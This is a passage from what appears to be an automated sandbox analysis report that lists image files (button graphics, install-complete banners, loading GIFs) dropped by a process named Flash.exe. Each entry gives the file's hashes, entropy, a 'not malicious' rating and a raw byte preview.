stRef:documentID="xmp.did:04E56A7BA43E11E8940BB3C63DFA27CC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..~....\IDATx..MN.@...t...jJ.[..w......{...8.{...t.a....v....4P@..!a..4o^......Q..9e......x]...@..$,..>.........

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\cls_btn_press_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.04615238816232
Encrypted:	false
SSDEEP:	24:X1hNo7FCWwjx82lY2T36V5hdbJhdyJ3VPhYbbhSGXDNxgTtGllNl4CFn6buxCN9U:lzo7FDNn2m/R+J3pOE6DMTcvH4wniy/d
MD5:	473A13B867FBC476784BE6CC69499A43
SHA1:	26671BC6D0E9BAB3CCC7DCEE943431BB68A5B489
SHA-256:	222A63F44DE3D0F45B9B6FA61DB7C93F79224904D9D42E8EE2AA64EF9121C07B
SHA-512:	2CCDB5F49CE071F8D85B7B512C9504497E4249CA331418C2B72C3D837D34938CE8A56C0E8F5E735941FC241F15F863314032CD25A93AE11BF84DA9637F8A32D2
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0351D8E5A43E11E8A91DCD52087AA33F" xmpMM:DocumentID="xmp.did:0351D8E6A43E11E8A91DCD52087AA33F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0351D8E3A43E11E8A91DCD52087AA33F" stRef:documentID="xmp.did:0351D8E4A43E11E8A91DCD52087AA33F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..`....pIDATx...J.@..'M..V...Hm)^[.@Z.7.^=x....wQo}..... ...wA....i.#6%..q......./.;...U6;.....S,d....... .H

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\customize-line-0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 8, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2163
Entropy (8bit):	7.526807147863496
Encrypted:	false
SSDEEP:	48:IMYLNn2Dgg+VJ3lbGaYUVCO9rq2Yj9DAy9r:lYR2Ug+RbGrBqhaDpr
MD5:	143F088F7B1D68A47F1830D563B3E5E9
SHA1:	45A8ED657F00B5CFB81B3F073635849E9F16B2C4
SHA-256:	2B032652E30A076863765EEF4A2FAE06B15FBFED32E8C426355CC6181796EDBF
SHA-512:	96B859513A0D3D85FBA0861FCF2C1E5AC3B1099D0110AB7BD0BC665D31EF4AEE505835FFA9C76674E92735BE63619AC0E6708362210E4A274D3C228CEEE5EC5E
Malicious:	false
Preview:	.PNG........IHDR...l.........Do.@....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:08B28F62FCA111EAA68CB2007DB98877" xmpMM:DocumentID="xmp.did:08B28F63FCA111EAA68CB2007DB98877"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:08B28F60FCA111EAA68CB2007DB98877" stRef:documentID="xmp.did:08B28F61FCA111EAA68CB2007DB98877"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..[k..6.$.=[..S.".I<ES.0...!.m.5......Q#...}....=..g........f.g..e7y......e....#.s.."......b.....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\customize-line-1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3408
Entropy (8bit):	7.733290574084366
Encrypted:	false
SSDEEP:	48:GMYLNn2DqJ3Nrv/2EU8+QEV1WM1oLCTn10XU7+MDRv1G5dhBGJWUPx2aBfhkOZB+:LYR2a90niChWU7+MDfShsJWOdfhEUKP
MD5:	D9817D3FC77F0B55F63802C64AA8CBE3
SHA1:	500FDFC6EFBF44090CB0E53C878C0639D4E5A5A3
SHA-256:	8FC5329331ABFC3E6B3B2DC2FFFCCB4BABF02AF31CF0E2FCA308284556C18979
SHA-512:	1A2A3DD25F7341843464C34D993C4F13533D25A335ED1E618D0380A397D88E5433923EAC7F04CD97CAEA6DF088A4C016DFD210664FF29726290C079D4E4DB966
Malicious:	false
Preview:	.PNG........IHDR..............B.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F5C449B80DE411EB9BB2BE8B08CD680E" xmpMM:DocumentID="xmp.did:F5C449B90DE411EB9BB2BE8B08CD680E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F5C449B60DE411EB9BB2BE8B08CD680E" stRef:documentID="xmp.did:F5C449B70DE411EB9BB2BE8B08CD680E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>([......IDATx..][..9.......%...e.)"E...tc.9.p...(}.l....1.......3.../~...U...3..d.+.}t.j8...i.Y.4..U...x,>U.. ..).

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\fc_beta_header_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 36 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	6.887813054196248
Encrypted:	false
SSDEEP:	24:l1hmYaWwjx82lY2T3XV5byJ3VCmGli+gYwGSx2I7e0eF9PP2s:LMYLNn2DuJ3NE6Ywnx9Y5d
MD5:	9EA85D61739B48594CC7DAA9D5E6493F
SHA1:	3AD8381496DD5534B7C318E31A9A02B068A663C3
SHA-256:	18164975E67DBE2971FCE15A89BBF7285178A0F95B6FD10576D8B57EFC100373
SHA-512:	FC919506E37D9758A8E7B15AF0777A446B14812B2F9FB01140F47C7B31BCA1ECE0873826EFE256FA77AC490AD339C2A6EBB07E83798B5B0E95FD897DED952E39
Malicious:	false
Preview:	.PNG........IHDR...$.........~..#....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:854C8762901211EABEDBB740658BE129" xmpMM:DocumentID="xmp.did:854C8763901211EABEDBB740658BE129"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:854C8760901211EABEDBB740658BE129" stRef:documentID="xmp.did:854C8761901211EABEDBB740658BE129"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.LP.....IDATx..OK.A..G[..^..).V.a..."..?.C(.K_.....c..B..E.E^4/I^.A2#.}..yw......Xw...g.y.q.'..E"El.AbF..>...!..3

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\fc_beta_header_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 72 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2199
Entropy (8bit):	7.508473317161378
Encrypted:	false
SSDEEP:	48:ZMYLNn2DQNJ3dAC8WZdzhtyvgc6Wt0JxxKDfuMNCn8UMT7:GYR2y+W7VCgQgTKlNwNA
MD5:	F3A57ED0AD0BF136CE143ACA935303C2
SHA1:	17B44C002C499B1D874CBE670B980E1DF452A431
SHA-256:	B1E64EEEC8B2B8D151D3F3A200412220F4E28B4DDE0B4E9861E8D72E08003631
SHA-512:	2238BFE8DC5174E5AADCB159185CCE22FF7B648FF933EBD278DD01967544E82F3B8317D63318A1864B65A2D2C173D0279852DAE81A11F1F02C8736FB6296EF0A
Malicious:	false
Preview:	.PNG........IHDR...H... ......J>p....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:84FBC864901211EAAF5FBCA465C46F3B" xmpMM:DocumentID="xmp.did:84FBC865901211EAAF5FBCA465C46F3B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:84FBC862901211EAAF5FBCA465C46F3B" stRef:documentID="xmp.did:84FBC863901211EAAF5FBCA465C46F3B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^>......IDATx..Z.O.G.~D.`..M.....F .A..H"........=U...{lzi.i..!...UA.P..E$`BT...A.A...U...f..zw....O..;.3.y..of\

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\gray_button_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 442 x 62, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.063636331533908
Encrypted:	false
SSDEEP:	48:4ccvnLEVY0J30MTfY+Nw2CeaEskLNnthkpJp9NSk/:vMUYj+ftNwTGHLNntYvUw
MD5:	E7D16937762F83E1A274AF5C87466DDE
SHA1:	1CEF0A62593619A01B0A35AB353AA9F3336B81EB
SHA-256:	12F303172CD2382BEF4B057233E5E4782EA8E20C979778BB8264AAB458E02B7B
SHA-512:	65070D08BA253905BE0B1B95C9BF196B4CF71BFACE102FC384CCE50527F546D29992C4087E124623F8D043877E78C8FBA4B4718C9FB9AFBC55D0F55E53956E53
Malicious:	false
Preview:	.PNG........IHDR.......>.....].......tEXtSoftware.Adobe ImageReadyq.e<...piTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:868482c0-3e81-4d13-b7d0-967d56927215" xmpMM:DocumentID="xmp.did:91F9D87F562B11E494A1902F47C3AA34" xmpMM:InstanceID="xmp.iid:91F9D87E562B11E494A1902F47C3AA34" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CD78A1A450BD11E4B9B2B51D48DF50D6" stRef:documentID="xmp.did:CD78A1A550BD11E4B9B2B51D48DF50D6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>H79.....IDATx...1K.Q.....`$.......@.$t...E

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\info_icon_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 13 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1290
Entropy (8bit):	6.799771034908577
Encrypted:	false
SSDEEP:	24:p1hepWwjx82lY2T3UVgWDyJ3VaQG8bqZGl3C2LcAQ3jOMFt:3ccNn2QT+J3jWQ3twim
MD5:	5853F412D28F0CAA8704AA92267398DD
SHA1:	22E0E555BD039F5752E27E195EE5B162E84559BA
SHA-256:	FA043DF1591ED69DACB50CBCD5D38E3EC30B493636CD5F23C38290371BC037D4
SHA-512:	2C27C6454A80662886419070E2228D001B6650A5826CFE2BE8865036563DE425C6CB174F69E668A47A36588176A7E1890B409D7F91B7A04AD4C0C215A6B746E0
Malicious:	false
Preview:	.PNG........IHDR.............r..\|....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 Macintosh" xmpMM:InstanceID="xmp.iid:DBDE1574953611E495AEF9EA3C1F0781" xmpMM:DocumentID="xmp.did:DBDE1575953611E495AEF9EA3C1F0781"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C04B797F953311E495AEF9EA3C1F0781" stRef:documentID="xmp.did:C04B7980953311E495AEF9EA3C1F0781"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..c`...zIDATx.LR;K.A....(..X...&.`..B.D+I....X(.?H.........G Z....m.!MB...F.vo.vo.........sLJIV&....*...K..x.\..1

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\install-complete-cn-0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7002
Entropy (8bit):	7.684976810686383
Encrypted:	false
SSDEEP:	96:UYR2fuDSRAVwoiK6U3eZWluo8UUFmsURyYc+6mBdnHCa/KN0MRiOnqwjwn2SjXbX:1kU396hmCYc+6mLnixiONjwnjjoeeM
MD5:	A07BD22CF46DC6BA43BC537E5613BBFF
SHA1:	B5EBF68FFAC7C4BB765FB6B8F16ABCD89EC9FDF9
SHA-256:	8AD41AA16761E4A862B0333F6143B082B965D7184DACA5ED4A7590508EC9C35A
SHA-512:	3D5F70A776C68BEBFC34EB67576A194EFE60A82374485951C4681DCA8CF3720ABA4380E98C9AF48A6A3D65354EFA8A828B1A18CE2DF94C5D5A3BF834B5AF0AEE
Malicious:	false
Preview:	.PNG........IHDR...l.........U.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:05588CCBFCA111EA9779CE27A2BE45FF" xmpMM:DocumentID="xmp.did:05588CCCFCA111EA9779CE27A2BE45FF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:05588CC9FCA111EA9779CE27A2BE45FF" stRef:documentID="xmp.did:05588CCAFCA111EA9779CE27A2BE45FF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>/..k....IDATx....l..}...s.l'.S..-.....!d.%i.N..f.6.....$j...4.4....T.......0.f.(....x..BS.)IK....!9f.....w.<.}..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\install-complete-cn-1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14554
Entropy (8bit):	7.561719675657975
Encrypted:	false
SSDEEP:	384:RpvFU5L+JQZ/bm30yMESYE7M4MAgHi1xstYKD:RpG5Ww/iERzYQMKreYW
MD5:	36F14ABDCEC960A30E2F092D80F64A4C
SHA1:	C33FB58465AB9905538519FB806503B087CB3A86
SHA-256:	5F83921C8EEAE1E1EC0F9AA6E6116CC0765AA3B35F12B7BDA2EEC14B439FA1B8
SHA-512:	17AEAD38214CDD2FA60E5850F8C05689B8FC9645F0C0BB870415725160FA359BB3E114D6AD17E9C4E96FB15C3546D142EF3928A318D05ACBE761AA7CBB9D72B7
Malicious:	false
Preview:	.PNG........IHDR.............\|.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:E965D6CA0DE411EBBC12D16095DFCB0A" xmpMM:DocumentID="xmp.did:E965D6CB0DE411EBBC12D16095DFCB0A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E965D6C80DE411EBBC12D16095DFCB0A" stRef:documentID="xmp.did:E965D6C90DE411EBBC12D16095DFCB0A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>(.]...5JIDATx......U}/.]U.=.L.0*:.x.(gi.q.c..<.{...hP..\3.{....rN.Yg..........Q.2>.8=....1..H.(.`8d.Ei.g..G....P

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\install-complete-en-0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7404
Entropy (8bit):	7.71623840841164
Encrypted:	false
SSDEEP:	96:UYR2cjjKkwjO3JNPINZMsruJ3kWImdod5NGvi1kFbeQFulc7cpgPYkwg:1l3JpUZStNdkWGkReQFulYKyr
MD5:	D904B6AF29CDD2C471E6B8908103A27F
SHA1:	80341D7A26A241C4E623D555464A72D4AA82C96E
SHA-256:	734B26365396815A39D74EA445990DE599D91434A3D1391274675A3476B755F7
SHA-512:	A42BA4E90A17DCE875A770822E4F716FA5C6E4D484E2A0C513B227F7AE338FCFC6FEC56808D6601B680A35050C354AD3E8CDD0CB4A611BA6C06D3A21D9469CA9
Malicious:	false
Preview:	.PNG........IHDR...l.........U.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:05AC8DC5FCA111EAA05CC57F470A0170" xmpMM:DocumentID="xmp.did:05AC8DC6FCA111EAA05CC57F470A0170"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:05AC8DC3FCA111EAA05CC57F470A0170" stRef:documentID="xmp.did:05AC8DC4FCA111EAA05CC57F470A0170"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.;F....\IDATx...}.\.}..swv.k...B-.......n@.1n."..Y.@.%.bJ]......(H...1E..%;5..K.$....akD..8...1...../5d.........

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\install-complete-en-1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 400, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5347
Entropy (8bit):	7.744216070692883
Encrypted:	false
SSDEEP:	96:jlSTZE7v+jQJ3rn8vLsZGBPP8vgrhOj+JcHDk+q5+dxBRLZas/d8:jlaZMtxr8zsgGvgrUfHDpO+rnk
MD5:	AFFAD85FF06892958C598529D452C7A4
SHA1:	055AC58109433A17ED1DED665C046003D6EC4E78
SHA-256:	330BEB6D0C1C0B259E7374E67A708BA80A1C6F72246C6A9192C4C5091C24F35E
SHA-512:	C830A3CEC89AAAB23C169C5F2F465FFD85891548D23F5DD933898E0829584C612A6C68C1824B5212582A2E0D121A1098428A6D164CAF5463F2B7E0F6C892FB10
Malicious:	false
Preview:	.PNG........IHDR.............K[-....MPLTE...LLLFFFHHHFFFGGGSSSIII```GGGHHHGGGKKKHHHNNN/..&../..-..A..M..3..'..2..%..(..1..#..$..6..9..(..)..+..0..,..&..^..#..#..#..y..)..$..&..,../..+..+....$..)..2..,..#..#..$..+..)..+..)..(..-..-..$..(..)..-..,../..)..)..$.....-....-..,..&.....FFF#..(..'..(..-..%..-..+..,..'..&..(..-..$..&..)....+..)..-..$....-..&..,..)..%..&..-..$.........PtRNS.F..%h..y.W.59.:9..+.9..N..& c..e........mkZC..OB..........X....H......s..#.....IDATx.........................................................................`..@.........TUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU.=8........m.UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUa..U...0..3DS..U4!B@A-c.z^d..j..-I.0...................................................c...v..nw..[U...~p..e..........[r.czd....8....sm..l..n......2w..K..R o.^6.. [C..j....2..j....%...pM...o..1.{u..Q5.;.R.q...(..].V..-....W....!.c./.CE.....e.k.*<..?...(..e}t;...........$.C.........d.p.$

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\loading.gif Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	GIF image data, version 89a, 60 x 60
Category:	dropped
Size (bytes):	7129
Entropy (8bit):	7.4777681814746835
Encrypted:	false
SSDEEP:	192:lFHnYX17FIB5B+mXipKcZAl6M5h4F8NQQ1mAb59MiXMj1fI:PHnM+BqmXipKc6MM5h4F8NQQ4Ab5dMja
MD5:	E1F82C675D072993EA04FAB8ECF2AA7C
SHA1:	0550E03E8208CD2893DDDAEB43E1262A34B4B041
SHA-256:	012A2A1A3E9ABD20C1A46F4A23CF6D08D3446AEE0A49D2197F233E7EF0748D5C
SHA-512:	0040E5D6F5A710A3606F3CA4E48D410F2FA5DB8B26CB279E113E83D1959AB7D429CC90B00DCC1F392017DC4C2BC8039CDBD610E0DCE7E7A2A6881D6DF74A4B6F
Malicious:	false
Preview:	GIF89a<.<....V..6=C35647:345368Nx.2445;@48<2456<BV..U..T..R..49<>QdD`}D^z5:?Mv.Kq.U..3579EQ;IWBZsBYr;JYJn.;HVV..U..48;Ea~Ea.Mt.Il.:FR6>E8AJNv.Jm.479>Pc8CM49=P{.369T..Jm.Q..Oz.P\|.?Rf9DOT..S..Gf.59=T..<L]V..C]y7?GT..Nw.<L\Ko.S..Kp.Q~.B[tR..Hj.Hi.Eb.=O`7@HFc.S..Lr.=N_Q..>QeMu.S..P\|.7>EFd.?Sh@TjJo.Oy.9DNGf.D_\|P~.6<AT..Il.:FS:GTP}.S..Lt.U..@VlO{.>PbLr.5:>5;AB[u?RgQ..AWn<K[@VmLq.Ik.8@I<KZ8AKQ..Oz.6=DHh.Fe.AXpBZt7@I7?F8BKJn.C[v=M^R..;IX:HUR..Fc.Ge.7>FFd.AYqOy.@Uk<JZKo.Nx.:GSC]x?SgNw.Gg.<L[Hh.Ij.?Ti9EP8BL=N`C\vGg.9CN:GUR..Lr.C\wD^{AWoKp.D_{U..D`\|<M]Ik.Nw.Eb.Mu.Ls.Ls.Q~.=OaAXoEc.P}.>Ob233...................................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="ht

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\loading0.gif Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	GIF image data, version 89a, 44 x 44
Category:	dropped
Size (bytes):	13066
Entropy (8bit):	7.656004528939186
Encrypted:	false
SSDEEP:	384:arHYbASrZCI8AwgYJ4ZI5fAy4elUCUOTRHK:G4bASr0Ae4ZyfA7K4OTRq
MD5:	EDDA765D6E654776B568E411275F4919
SHA1:	D4676EDA4DFD6F80D6C203857221A4EC8A240DBD
SHA-256:	194BA8860854B4AF3B732A5E7F2190D3E1146008513AB4E5A4939DFFB1E54EA5
SHA-512:	A518D5C9BF06B1D028C010928BD661DC3EF78B8182768E9F8141ED0B17A2A2495E9EECC1FB8701435B39111B4FBDD02758CC60AA346E010942C58D26565AA9BC
Malicious:	false
Preview:	GIF89a,.,..U.................................................................................................................................................................................................................................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:D9CD2541601C11EA8BBD87447C84E375" xmpMM:DocumentID="xmp.did:D9CD2542601C11EA8BBD8744

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\loading1.gif Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	GIF image data, version 89a, 88 x 88
Category:	dropped
Size (bytes):	67419
Entropy (8bit):	7.803886426142075
Encrypted:	false
SSDEEP:	1536:16ePpese+LAJE++xJvrdxNrssMO81KCRDwHNtex3DELXzw:bBesRaIfrcOMKCBisms
MD5:	B25653394C6B89E46A4C5FAAB39B27B6
SHA1:	FF69F8ABA2FCB44DA31BC7C0C9E4BF8C882CEEC8
SHA-256:	2CC59031969A95313A6CED92BE0B3A76BEF2F2B5031E63FF773B3A358D03FA1F
